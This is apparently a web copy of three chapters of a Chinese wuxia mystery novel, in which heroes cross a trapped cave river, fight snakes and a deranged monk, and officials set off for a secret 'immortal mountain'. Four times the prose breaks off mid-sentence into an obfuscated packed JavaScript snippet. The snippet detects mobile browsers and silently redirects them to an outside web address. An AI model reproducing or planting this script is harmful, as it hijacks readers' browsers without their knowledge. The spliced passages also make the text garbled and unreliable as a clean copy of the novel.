杉木板“砰”一声被蹬开一道缝，先探出两只绑着红绸的双环髻，接着是唐珠儿那张俏生生的小脸儿。她的脸颊上蹭了些船底的污泥，嘴角却扬着得意的笑，手一撑便从夹层里翻了出来，还不忘回身拉晏回一把。 “阿姊，你方才瞧着了嘛！”见四下无人，唐珠儿的声音也大了些，食指中指相并，摆出投掷的架势，“就这么‘嗖’的一针，正扎在那大黄狗鼻尖儿的软肉上！若不是我啊，只怕又免不了大开杀戒，阿弥陀佛，罪过罪过！ 晏回还没开口，伪装成船工的范凌舟已经开口怼了回去：“好意思说呢，也不知道是谁，贪嘴吃多了油炙黄豆，又打嗝又放屁的，这才引得那大黄狗上前查看，差点儿连累了西楼。” “你才放屁！”唐珠儿和范凌舟斗嘴，从来都占不得便宜，当下就一弓背，作势冲上去扑打。晏回已然默默拽住了她的衣角，唐珠儿只是张牙舞爪，却碰不到范凌舟分毫。 “这次的确是珠儿机智急变，化险为夷。” “哼——”唐珠儿冲范凌舟翻了个白眼。 “可是方才一路行来，仅河道上便设了三道关卡，守卫森严。可及至此处，反而没有人声，只怕——”晏回抬眸，静静望向石洞的深处，“这才是最危险的所在。” 范凌舟也敛了笑意，点头道：“那船工说，他每次都是把货品卸在洞口的平地上，便赶紧撑船离开，连洞门口都不多看一眼。所以，他也并不知晓洞中情况。” “剩下的，只能靠我们自己。” 晏回凝着那片似乎能够吞噬一切生灵的黑暗，淡淡道：“兵来将挡，水来土掩而已。大家做好准备，进洞。” * * * 三人在石洞隐蔽处换好衣服，皆是束紧袖口裤脚的夹棉玄色短打，外罩一件防潮的油衫,面上覆着黑纱。唐珠儿嫌领口勒得慌，偷偷拉扯了几下，被晏回眼风扫过又赶紧整饬好。范凌舟则把换下的船工衣服叠好，放入防水的包袱里。 待众人准备周祥，晏回将一盏灯笼挂在梭子船的船头，这灯笼的灯芯捻得极细，仅透出一圈昏黄的光，像暗河里浮着的一颗残星。 晏回冲范凌舟微一颔首，范凌舟便撑起船篙，梭子船顺着暗河的水流无声地滑进石洞之中。 刚入洞口，一股带着腥甜湿气的阴冷便裹住了三人，灯笼的光圈瞬间被洞中的黑暗吞噬大半，仅能勉强照亮船头三尺内的水面。船篙撞击石笋，发出闷闷的“笃”声，如同敲击在空荡而巨大的鼓面上，一圈圈荡开，衬得石洞愈发幽深可怖。 抬头望去，洞顶隐在浓黑里，望不着边际，只隐约看见无数钟乳石的轮廓从上方垂落，如獠牙，似人手，仿佛随时都要砸下来一般。 头顶是无尽的墨黑，脚下是虚空般不知深浅的水面，船行于河上，如穿梭于浓雾之中，让人从心底涌出阵阵寒意。 范凌舟小心地操弄着小船，躲开那些从暗河底冒出来的石笋群。这些石笋高矮不一，矮者仅出水面寸余，顶端尖锐如刀；高者直抵洞顶，表面凹凸不平。被灯笼的光晕一扫，活像一群伫立在水中的鬼影。 突然，范凌舟侧耳细听，蹙眉问道：“你们听见了吗？” 唐珠儿倚靠在船头，大喇喇地摇了摇头：“没有啊？你肚子叫唤啦？” 范凌舟难得没有反驳，只是沉吟道：“不是……是一种沙沙声，就好像就无数细小的沙流滑过石壁一般。” 晏回没有答话，指尖却悄悄按在腰间的剑鞘上。 船行不过三丈，晏回突然抬手：“停。”范凌舟立刻用船桨抵住洞壁，梭子船便如被人点了穴般稳稳停在水面上。 晏回将灯笼往前凑了凑——只见船头一步之外，一道几乎与水色融为一体的细线横在暗河上，若不是灯光斜照时反射出一丝极淡的银光，根本看不见。 “这是……”唐珠儿张大了嘴巴，惊愕道：“绊索！？这绊索竟然是透明的！” 晏回凝着那绊索，脸上的表情极冷：“取最细的桑蚕丝捻制，再以鱼鳔胶熬煮数日，自然冷却晾晒，线丝便可透亮纤细，且韧性极强。将这近乎透明的丝线放入暗河底部的泥浆中，再行浸泡，便会形成这般与水色、石洞融为一体的绊索，这是锦衣卫独有的手段，这帮和尚当真手眼通天。” 晏回抬手，往挽起的发髻中一探，一根细针便捻于指间。她顺着绊索的方向，抬头望去：“绊索的另一端连在洞顶钟乳石的缝隙里。你看，那根钟乳石上有个小缺口，里面嵌着铜片，绊索一断，铜片就会触发机关，只怕到时，整个河道中的钟乳石都会如利剑般直刺下来，任何河道中的船只都绝无逃脱的可能。” 这下，不仅仅是唐珠儿，连范凌舟都跟着倒吸了一口冷气：“这寺庙的机关当真阴狠，竟然用天然的钟乳石做幌子！” 晏回没接话，只是借着灯笼昏黄的光线，用细针轻轻挑解着绊索固定在船舷边的死结。她的动作既缓又轻，如同在拼凑一件碎成数千片的瓷器。见此情形，唐珠儿和范凌舟也不敢再打搅，尽皆屏住呼吸，连大气都不敢喘。 此刻，万籁俱寂，连滴落的水声都似乎融化在这片浓得化不开的黑暗中。整个石洞如同一座巨大的棺椁，唯有晏回用细针挑动丝线的微响，像一根绷到极致的弦，随时要割裂空气。范凌舟和唐珠儿一左一右，盯着那根几乎隐形的绊索，只觉时间都凝滞了一般。 这时，范凌舟只觉后颈猛地一凉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184870|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那沙沙声又回来了。 他听出来，那不仅仅是沙流滑过石壁的松散，而是像无数片冰冷的鳞片蹭过水面、刮过石笋的黏腻，带着一种湿冷的恶意，往人的四肢百骸里钻。范凌舟可不仅仅是听觉敏锐异于常人，更是擅于想象和脑补的天才。 此刻，他的脑海中早已勾勒出了某样东西，正拖着滑腻的身体，一点一点地靠近的画面。 他缓缓回过头去，借着灯笼微弱的光线，望向船尾。那里浮着一片细碎的光点，绿意莹莹，一明一灭地随着水流晃动着。没有规律，却极为密集，如同一张铺在水面上的网。范凌舟的心漏跳了半拍，那哪是什么水面上的大网，那是一双双竖瞳反射的光。 数不清的蛇，正贴着水面游过来。 范凌舟深吸一口气，尽可能和缓轻柔道：“西楼，你得快点儿……” “不然，咱们就是不让这些钟乳石插死，也得让这帮蛇咬死。” 唐珠儿闻言，也扭头看去，瞬间背上起了一层白毛汗，条件反射地飞针而出。游在最前端的蛇此时正高仰起头，细针便擦着水光直刺其眼窝！那蛇猛地一扭，翻着白肚皮沉下去，水面只留下一圈浑浊的涟漪。 唐珠儿来不及松一口气，又接连弹出两针，分别钉中两条蛇的七寸，可蛇群却像没察觉般，依旧顺着水流往船头涌来，沙沙声不绝于耳，让人脊背发麻。 唐珠儿也觉出怕来，一边下意识地往后缩了缩，一边强笑着问道：“这、这到底是什么蛇啊？看着也没那么凶，会不会压根没毒？要是没什么毒性，顶多……顶多我替你们多挨两口呗？” 范凌舟此时正用船蒿猛地挑飞游在最前面的蛇，闻言不由得气笑：“这可是过山风【1】，你便是再仗义，也扛不住它两口的！” 话没说完，一条过山风突然从船底窜出，直奔唐珠儿的脚踝！她尖叫一声，抬脚踢开，蹬得船身直晃。晏回一手稳住船帮，一手挑动丝线——只听“咔”的一声轻响，死结终于解开！她迅速将绊索卷成一团塞进袖袋，拔出腰间长剑，狠狠砍在已经游到船边的过山风的七寸上。 “无鱼，撑船！” 范凌舟早攥紧了船篙，闻言猛地将篙子插入暗河底的石缝，拼尽全力往后一撑——梭子船像离弦的箭般往前窜出，船尾的水花溅起半尺高。晏回摘下船头的灯笼，“啪”地拧开竹制的灯罩，将里面剩下的小半盏桐油尽数泼向船尾水面。 桐油浮在暗河上，瞬间铺开一层透亮的油膜，晏回摸出腰间的火折子，拇指一搓，火星子“噌”地亮起，几乎是在同时，她反手将火折子往油膜上一撩！ 只听“轰”地一声，半人高的烈焰猛地腾起，暗河水面仿佛被劈开一道赤红的屏障！ 71. 无尽灯（十三） 火光映红了三人的脸，也照亮了船尾蛇群惊恐扭动的身影。蛇群被骤然而起的热浪逼得往后一缩，相互盘绕的身躯聚在一处，如同自泥沼中长成的怪物。三人瞪着那火光中绿莹莹的竖瞳，还没来得及喘口气，就见蛇群再次蠕动起来，竟是不顾火焰的灼烧，扭动着身体妄图穿越火墙。 鳞片发出诡异的“哔啵”声，空气中弥漫着陡然而起的焦糊味儿，见者惊心。 “这帮鬼长虫，怎么连火都不怕啊！”唐珠儿的声音已然微微发颤。 “非不畏火，乃是蛇王所驱。”晏回的目光死死锁定火墙后的蛇群，逡巡数息，猛地抬手道：“珠儿，西北方向，瞄准那条群蛇环伺的巨蛇，那便是蛇王！” “好！擒贼先擒王！”唐珠儿有了目标，立时眯眼锁定，可刚要凝力弹出，就见周围的过山风突然疯了般往蛇王身侧聚拢，层层叠叠盘成一道黑褐色的蛇盾，用身体将蛇王挡得密不透风，别说七寸了，就是连蛇王的鳞片都遮了个严实。 “阿姊，瞄不准啊！”见此情形，唐珠儿又气又恼，只得回身求援。 晏回眉头紧锁，目光扫过燃烧的火墙与蛇群的缝隙，突然瞥见火墙右侧的火焰因水流波动而微微倾斜，蛇群靠近火墙的一侧虽仍在拱卫，却因灼热本能地缩着身子。晏回眸光一亮，即刻吩咐道：“无鱼，撑船往西南挪三尺，借水流晃动船身！” 范凌舟几乎是瞬间便理解了晏回的意思，只见他左手撑着船篙死死抵住暗河底的石笋，右手竭力伸向晏回。晏回足尖点地，身形如燕般掠至船边，右手紧紧扣住范凌舟的手腕，借势下腰，左手长剑斜挑水面，带起半尺高的水花！ 此时，水面上的桐油燃得正炽烈，油浮水上，火借油势，“呼”地一声扑向蛇群右侧的拱卫圈。 众蛇齐齐发出令人心悸的嘶嘶声，下意识地向内一缩，原本密不透风的蛇盾瞬间裂开一道窄窄的缺口。唐珠儿眼睛一亮，指尖早已蓄势待发的三根细针，如流星赶月般激射而出，精准扎进蛇王左侧暴露的七寸软鳞处。 原本由数百条过山风盘绕而成的“泥沼巨兽”，此刻轰然溃散。层层叠叠的蛇身像散架的骨牌般散落水上，水面上顿时乱作一团。少了蛇王的号令，群蛇再也没有聚沙成塔的威力，威胁陡减。 范凌舟哪还用晏回再吩咐，恨不得将船蒿舞出花来，飞速地逃离了蛇与火交织的水域。 水流逐渐平缓下来，死里逃生的三人也不由得对视一眼，长出一口气。相较于晏回和范凌舟，唐珠儿显然更加心有余悸，一想到那蛇群互相盘旋挤压，反射着鳞光的躯体，唐珠儿就觉得反胃，脸色惨白地坐在船尾，微微掀起覆面的黑纱，张大嘴喘着气。 晏回回头望了她一眼，轻声道：“珠儿，还好吗？” 唐珠儿还没来得及应声，范凌舟就截口道：“我瞧着她挺好，还有余力学那大黄狗呢！” 此言一出，唐珠儿也忘了恶心，满脑子都是和范凌舟拼命的无限精力，若不是水面平缓，只怕这两人能闹腾得将梭子船掀翻。 晏回难得没有阻拦，她明白范凌舟的用意。唐珠儿此人，情绪来得快去得也快，若是任由她天马行空、胡思乱想，只怕这数个时辰内都会被方才蛇群造成的恐惧所扰。可经由范凌舟这般插科打诨，她的全副注意力便集中于报复范凌舟一事上，自然忘了蛇群之事。再加上二人虽是争斗不休，却还是下意识地闭紧了嘴巴，只是挥拳相向，倒是省心。 突然，范凌舟动作一滞，眸光射向那被无数石笋遮掩的洞壁深处，那里有一道冗长的小路，如同巨兽腥臭黏腻的肠道般看不到尽头。 这次不仅仅是范凌舟，唐珠儿和晏回的脸色都瞬时一凛。 她们也听到了。 如同旱天雷般骇人的脚步声从小路的深处传来，继而在整个石洞中回荡。那步子迈得极大，仿佛一步就能跨出三丈远，几乎就是在转瞬间，脚步声已经近得直逼耳畔。三人只来得及拔出武器，就骇然看见一道铁塔似的黑影从石笋缝里撞出来，眨眼间便扑到船前！ 若是庙中供奉的韦陀罗汉迈步下殿，只怕也是这般骇人气势，偏偏那张脸比殿中泥塑的罗汉更叫人胆寒，正是大和尚戒通。戒通挡在船前，大喝一声，双手如铁钳般扣住船首两侧的船帮，猛地向上发力！梭子船发出一声难承其重的“吱呀”声，船首被掀得直刺洞顶，水花如瀑布般从船舷倾泻而下。 船上的三人自然不会坐以待毙，虽然晏回在先前从未与戒通和尚发生过直接的冲突，可只是那短短的一次照面，她便对这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184871|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子不甚清醒的大和尚起了戒心。如今看来，他的确是个颇为棘手的对手。 晏回足尖一点倾斜的船身，稳稳坐在一旁的石笋尖上。一旁的范凌舟和唐珠儿也及时避开了戒通的攻击，分列晏回两侧。晏回冲二人略一颔首，吩咐道：“一起上！” 话音才落，人已如利箭，凌空射出。 翻倒的船“咚”地砸扣进水里，激起丈高的浪涛。呼吸间，三人就相互配合着逼至戒通身前。那戒通不闪不避，晃着硕大的脑袋扫过周遭，忽然矮身，双手猛地攥住脚边一根碗口粗的石笋，闷哼一声，猛地向上一拔。 却听“咔嚓”一声，那石笋竟连带着根部的湿泥碎石被生生拔起！ 丈余长的笋身顶端尖锐如矛，戒通抡圆了胳膊，将那石笋舞得针扎不透，油泼不进，直逼三人面门。 俗话说得好，一力降十会，便是戒通打架毫无章法，这般地体格和气势已足够棘手，更遑论他的武功尚在晏回诸人之上。随着晏回的一声“避！”，众人也不与那大和尚硬碰硬，齐齐退避开去。 虽说皆是躲开了那石笋的攻击范围，可被戒通可怖的气浪冲击到，众人还是觉得心口发闷，呼吸都有些困难。 晏回双眉紧蹙，迅速调整战术。 “分！” 话音未落，剑光骤起，秋水长剑如银蛇狂舞，直刺戒通双目。唐珠儿则旋身退至三丈外，指间银针若流星不绝，精准钉向戒通的手腕、膝盖弯等关节处。范凌舟则深吸一口气，甩动拂尘，袭向石笋的根部。 这本该是个天衣无缝的战法：晏回以快剑牵制上三路，逼得戒通不得不挥动石笋格挡；唐珠儿的针侵扰下三路，虽不破防，却能让大和尚的动作滞涩半分；范凌舟的拂尘负责缴械，即便不能将石笋从戒通手中夺出，亦能限制其挥舞范围，来配合晏回快剑的攻击。 可惜…… 方才躲避戒通全力一击时，范凌舟已觉吃力。此时飞身攻上，更觉心口剧痛，只怕是旧伤已然崩裂开来。他强忍痛楚，拼尽全力将拂尘缠向石笋，终究却比预想慢了半拍。 失之毫厘，差之千里。那戒通虽是脑子不清醒，本能反应却极快，察觉拂尘未及时缠上，他猛地回抽石笋，笋尾粗端带着千钧之力砸向范凌舟胸口！ 72. 无尽灯（十四） 戒通的速度实在是太快，范凌舟还没觉得痛，只觉得眼前一黑，胸口一闷，整个人便像断线风筝般向后倒飞出去！ “小心！”晏回瞳孔骤缩，身形如电扑出。范凌舟的旧伤才愈，若是此刻再遭重创，只怕…… 晏回脑中急转，等反应过来时，范凌舟已被她护在身前，而她自己则后背着地，狠狠撞上冰冷的洞壁。 晏回只觉后脑“嗡”的一声炸开，眼前金星乱冒，耳中灌满了洞壁的回声与自己粗重的喘息。紧接着，后颈的筋肉被猛地扯紧，像被无形的手拧成死结，连带着颈椎发出“咯吱”的脆响，疼得她眼前瞬间发黑。腰腹因护着范凌舟紧紧绷住，此刻被震得一阵痉挛，五脏六腑像是翻了个个儿，喉间涌上浓烈的腥甜，她死死咬着牙，才没让鲜血喷出口。 “你……”她只有余力吐出一个“你”字。 耳畔传来一股热气，伴随着范凌舟咬紧牙关的话语：“缠住他。” 下一瞬，他便借着晏回后背的缓冲力猛地一滚，身形如鬼魅般钻入洞壁旁丛生的石笋缝隙，转眼间便没了踪影。 附在身上的温热感骤然失却，晏回却不由得长长出了一口气。与逐渐蔓延至四肢百骸的剧痛相比，这个家伙还有行动的能力实在是再好不过的消息了。 可情势的危急已经不容许晏回再做考虑，那巨怪一般的戒通已经合身扑来！ 在石笋抡到眼前的瞬息，晏回已经纯凭肌肉记忆抬剑格挡，“仓啷”一声脆响，火星四溅。若不是晏回的脚后跟死死抵住石壁，只怕方才那雷霆一击，又将把她轰至洞壁上。此时，唐珠儿的银针已然追至。 与寻常人的血肉之躯不同，唐珠儿的银针几乎无法对戒通和尚造成致命的伤害，可正如象惧鼠，狮恼蚊，如同暴雨梨花一般的银针也让戒通和尚不胜其烦，不得不回身格挡。而这，也给被堵在死角的晏回以喘息之机。 晏回旋身而起，秋水长剑若一卷银缎绕着戒通周身游走不绝，剑剑直指他的咽喉、腋下等薄弱处；唐珠儿则在暗河生出的石笋之上弹跳纵跃，起落间银针不断袭向戒通的视野盲区。两人一近一远，一攻一扰，竟真的将这铁塔般的大和尚暂时缠住，使得他无暇他顾。 戒通被缠得心中恼恨，石笋舞得虎虎生风，大喝道：“贼……贼子……拿……拿命来！”晏回、唐珠儿和范凌舟皆是一身黑衣，黑纱覆面，掩住了面容与形体，而戒通偏偏头脑单纯，不懂转圜，自然无法将三人与檀越夫人、小丫鬟与“聒聒仙人”联系到一起。只把他们看作偷入佛门，盗取珍宝的贼子，而自己则是为佛陀护宝的伏虎罗汉。 只见他越打越恼，怒急攻心，竟是猛地将石笋抛出，向唐珠儿砸了过去。唐珠儿本就身手灵活，再加上并未受伤，是以一个纵跃便躲开了攻击。一击不成，戒通愈发懊恼，竟是狠狠地往自己光秃秃的脑瓜上捶了一拳。 这一拳锤得毫不留情，“咣”的一声巨响倒把唐珠儿和晏回都惊得骇然。 只见戒通的脑瓜顶瞬间裂开一道口子，殷红的血线顺着眉骨流了下来，沿着狰狞的旧疤蜿蜒而下，在那张本就骇人的脸上划出两道暗红的裂痕。 “这家伙疯起来连自己都打！”唐珠儿终于有喘息之机吐槽道。 晏回心头也是巨震，这一拳的力道，若是落在常人身上，怕是颅骨都要碎成齑粉！这和尚不仅力大无穷，更是疯得毫无理智，半分常理都讲不得。 戒通却似毫无所觉，抹了把脸上的血，疯魔般咆哮着道：“杀……杀……杀贼！” 他双臂抡圆，身形几乎化作一道黑影，再次朝着晏回扑将而来！巨大而骇人的脚步声砸在暗河中，石笋缝隙间的水滴都被他的气势震得飞溅开来，晏回屏息凝神，准备迎接戒通和尚的全力一击。 千钧一发之际，一阵清亮而欢快的鸣响陡然而起。高亢如银线穿空，婉转似山泉叮咚，那鸣响似是有形的实体，绽开翅膀，在石洞中肆意飞扬。那竟然是聒聒的鸣唱！ 戒通的动作猛地僵住，抡圆的双臂停在半空，铜铃大的眼睛里暴怒的红光瞬间褪去，取而代之的是一种近乎孩童般的痴迷与茫然。 这明明是他的天蓝聒聒的叫声啊！可是……他清清楚楚地记得，他将它放在竹笼里，偎在自己暖烘烘的枕榻边，更是将门窗都关得严严实实，生怕它冻着凉着……可如今，它怎么又出现在石洞中呢？ 是他没关好笼门吗？还是他的天蓝聒聒灵性至此，不愿与他分开一瞬一息？ 那聒聒声也着实奇妙，如同水波般在洞壁间来回回荡。时而撞在石笋上，发出“嗡嗡”的余响；时而绕到光滑的石壁后，变作清脆的颤音；最后竟汇聚成一道若有似无的声带，朝着那看不见尽头的小路深处飘去。 戒通侧着耳朵，光秃秃的脑袋微微晃动，努力捕捉着声音的来源。可不知为何，每一次聒聒声的响起，都似是从更深的地方传来，勾得他心痒难耐，全然忘了自己正在生死搏杀之间。 晏回和唐珠儿也颇有默契地没有偷袭，只是远远立着，借着戒通发怔的时间喘口气。 “乖……乖……”戒通喃喃低语着，声音里带着说不出的柔软，和他疤痕遍布的脸形成一种诡异的反差。他下意识地迈开步子，朝着声音传来的方向走去。巨大的背影在狭窄的石笋群中隐约闪动了数下，逐渐只剩下渐行渐远的脚步声和偶尔传来的聒聒声，最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184872|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这所有一切都被石洞的黑暗吞噬殆尽。 晏回和唐珠儿对视一眼，没有丝毫犹豫，合力翻过倒扣的梭子船，继续向暗河下游行去。 又行了约莫一炷香的时间，水面传来“哗啦”一声响，下一瞬，一个黑影从水里猛地蹿起，双手扒住船舷，一个鲤鱼打挺，重重翻倒在船尾的木板上，大口大口地喘着粗气——正是范凌舟。 唐珠儿连头也没回，接过晏回递过来的船蒿，笑道：“哟，回来了？” 范凌舟连气还没喘匀，就见晏回已经快步走了过来，蹲下身道：“衣服脱了。” 范凌舟嘴角一咧，正准备说笑两句，却见晏回掩在黑纱下的脸一片惨白。范凌舟心中一颤，他想起晏回那飞身一扑，只怕也是受伤不轻，不敢再造次，老老实实地褪了上衣，露出再次崩裂的创口。 范凌舟自觉游刃有余，可看在晏回眼里却是可怜狼狈得紧。湿透的黑衣褪至腰际，露出大片伤痕纵横的皮肤。晏回的视线越过他的锁骨，落在胸口那道浅粉色的旧疤上。那道疤本是半月前才愈合的，此刻却沿着疤痕的边缘裂开一道细密的口子，暗红的血珠正从缝里缓缓渗出，晕开在苍白得近乎透明的皮肤上，如同雪地里不慎泼洒的朱砂。 ——还好……受伤不重…… 晏回轻轻吐出一口气。 温热的气体扑在范凌舟的颈侧，他微微有些痒，脸上一烫，话便不由自主地多了起来：“西楼，你怎么不问问我是如何变出一只活生生的聒聒的？” 晏回无奈道：“你是如何变出一只活生生的聒聒的？” “就是这个！”范凌舟笑着从腰间摸出一串竹片，献宝似的在晏回面前晃了一下，却又因抻到了伤口小声地“咝”了一声：“这玩意儿叫做蚰晃，是用三年生的老竹子，削成薄片，磨棱去角，两端穿线系珠，轻轻一晃便能发出如同聒聒鸣叫一般的响声。大和尚那只天蓝聒聒叫声很特别，尤其是点药之后，更是万里挑一，我便提前做了这只蚰晃，没想到今日总归是用上了。”他一边说，一边还不忘点划船的唐珠儿一句：“吃不穷，穿不穷，算计不到就受穷，年轻人更得学着些！” 唐珠儿气得往河里啐了一口：“就该让大和尚把你牙都掰了，都掰了！一颗一颗都给你扬河里，找都找不回来！” 范凌舟也不反驳，只是接着笑眯眯地对晏回道：“那大和尚被我诓进了一个死胡同，那死胡同尽头是实心的石壁，入口处有几丛交错的石笋，窄得很。他个头大，卡在石笋堆里转不开身，只能对着石壁一通乱砸，估计得折腾个半个时辰。” “半个时辰……” “足够咱们将这个石洞翻个底朝天！” 73. 无尽灯（十五） 夜已深，汜水河畔的观澜亭上，升起一轮簇新的月亮。亭檐飞翘，青瓦覆顶，薜荔藤落光了叶子的枝蔓缠绕在亭柱之上，更显风雅清寂。亭内烛火摇曳，几位身着便服的官员围坐石桌旁，远眺着亭外潺潺汜水。 众人或是锦帽貂裘，或是穿着厚实的棉袍儒衫，倒是把端坐于正位上的中年男子显露了出来。他着一身藏青色的夹棉直裰，布料已然洗得发灰，肘部叠起的两块补丁更是扎眼，与亭中诸人显得格格不入，正是敖远。 他似乎早已习惯这般“鹤立鸡群”，全然不在乎众人目光下意识地躲避，施施然开口道：“冬末夜寒。有诸位大人秉烛同游，是敖某的福气啊！” 汜水县的赵县令忙不迭躬身道：“敖大人真是折煞我等。能得大人夜谈赐教，是我等三生有幸。为此机缘，便是掷千金也甘之如饴啊！” “是啊是啊！”一旁的钱经历品阶最低，为了此次登仙山，入无尽灯境可说是散尽家财，所以他格外珍惜能与敖远这般高官接触的机会。“能随敖大人共登仙山，那真是祖坟冒青烟的福分！下官早就……” 钱经历兴奋至极地搓了搓手，如同一只饿了数日，终于发现一桌残羹冷炙的大头苍蝇。他的嘴角高高扬起，却悚然惊觉，敖远抬眼淡淡扫了他一下，仿佛他刚刚当众放了一个响屁。钱经历心头猛地一紧，赶紧闭上嘴，使劲缩着脖子，再不敢吱声。 令人窒息的沉默没有持续多久，敖远却笑了出来：“呵呵呵，钱——钱——” “小人钱度……开封府经历……” “钱经历倒是直爽”，敖远抬起手，在钱经历的肩膀上不轻不重地拍了两下，“只是这登仙山的事，急不得；日后——也提不得。你们只要将我吩咐的事情做得周全妥当，自有数不尽的仙山灯境，任君共览。” 钱经历只觉消失已久的空气又重新冲入肺中，他大口喘着气，重又将嘴角咧到太阳穴，一叠声道：“是是是！大人英明！小的们定当谨慎再谨慎！” 赵县令狠狠瞪了他一眼，嘴里却配合着吐出一连串谄媚的笑声。众人也都随着笑了起来，一时间，观澜亭中谈笑有鸿儒，往来无白丁，风雅至极，宾主尽欢。 忽然，敖远的笑声止了，众人也赶紧止住笑，随着敖远的目光向亭外望去。只见被月光浸透的小路上正远远走来两个人。个头高壮，形如白煮蛋的正是智空住持，他的身旁跟着个面生的小沙弥，颅顶又圆又高，小巧秀气的五官全数堆在下半张脸上，让人看着莫名有些怪异。不过此时，倒是没有人将注意力集中在那小沙弥身上。 敖远站起身，冲着智空住持微微一笑：“智空大师好雅兴，深夜还来观澜亭赏月？” 钱经历也是豁出去了，不顾赵县令的暗示，再次出言道：“大师与敖大人皆是风雅之辈，今夜月色如银泼地，汜水潺潺似琴，不如一道入亭小坐？” 面对钱经历近乎谄媚的邀请，智空住持倒是难得面色平静，颇为自持道：“阿弥陀佛，贫僧今夜并非为赏月而来。” 钱经历脸上的笑僵了一瞬，随即又堆得更厚，打着哈哈道：“大师说笑了，这良辰美景，除了赏月，还有何事值得您深夜奔波？” 赵县令收回了想要拉拽对方的手，心中暗骂：这般没眼眉的腌臜货色，就是干到这八品的经历，也算便宜他了！ 这时，一旁的小沙弥开口了，他歪着大大的脑袋，冲众人一笑：“师傅说了，赏月有什么意思，山里的灯盏才好看呢！” “多嘴！”智空住持斥道，面上却并无甚恼怒之色，依旧是寡淡如水：“贫僧管教无方，唐突了诸位大人，让诸位大人见笑了。” 敖远深深地看了智空一眼，道：“大师深夜前来，究竟有何要事？” 智空住持和小沙弥同时抬起手，双掌合十，只听智空住持道：“阿弥陀佛，贫僧特来请诸位大人提前入仙山。” 敖远脸上已经隐隐有了怒色，但众人在旁，又不好立时发作，只得皮笑肉不笑道：“大师好个先斩后奏，入仙山自有吉时，岂能说改就改，连半句通传也无？” “敖大人息怒，”智空淡淡道，“贫僧也是半个时辰前方得密讯——明日辰时，山东按察使沈忘沈大人亦将躬逢盛会。此人素来喜好‘刨根问底’，敖大人想必也有耳闻。” 敖远面皮儿一跳，一种难掩的反胃恶心感涌了上来。 ——又是这孙子！他到底有完没完！ 自己在济南府就棋差一着，好不容易来了开封府，脱离了沈忘的辖制，他竟然又追了来，当真是比那逐粪之蝇还要恶心百倍千倍！ 敖远吐出一口浊气，压下心头的怒意道：“既如此，便依大师所言。今夜，便入仙山。” * * * 钱度几乎是手脚并用地登上了停泊在河畔的大船，一屁股便占据了靠近船舷的位置，兴致勃勃地探出头去。 此刻朗月当空，泛着的细碎银光，如同鲸鲵宽阔的背脊，载着他们前往天外的瑶池。钱度深深吸了一口湿润的空气，起了一身鸡皮疙瘩。想他自幼生于蓬门，十岁时还在街头替人磨墨换糠饼，被缙绅子弟呼来喝去如驱鸡犬。如今他却能与这些簪缨之辈并肩而立，共赴仙山秘境。这等际遇，便是从前做梦也不敢奢想的啊！ 船桨劈开银波，水声潺潺如闻仙乐，一道道闸门在智空住持的命令下层叠开起，钱度痴迷地看着，像是把半生的卑微都抖落河中，只余满心的滚烫。 “赵大人，您闻见了吗？这仙山的空气都是甜的！” 赵县令此刻正拢着棉袍靠在船壁上假寐，被他聒噪得猛地睁开眼，眼神里的不耐烦几乎要溢出来。他可不是钱度那般低阶官吏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184873|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨不得散尽家财方才换来入仙山之径。满打满算，这已然是他第三次进入“无尽灯境”了。 赵县令四下一扫量，见诸位大人皆抚须畅言，意兴方酣，倒是没人注意他们二人，当下也不装了，颇有些刻薄地抢白道：“哎哟我的钱大人，这点子景象算什么？不过是入山的前道，连仙山的门槛都没摸着。等进了那主石窟，待那些‘无尽灯’齐齐亮起来时，保管你连舌头都捋不直。现在就这般咋咋呼呼，倒像个没见过世面的乡野村夫，也不怕敖大人瞧了笑话。” 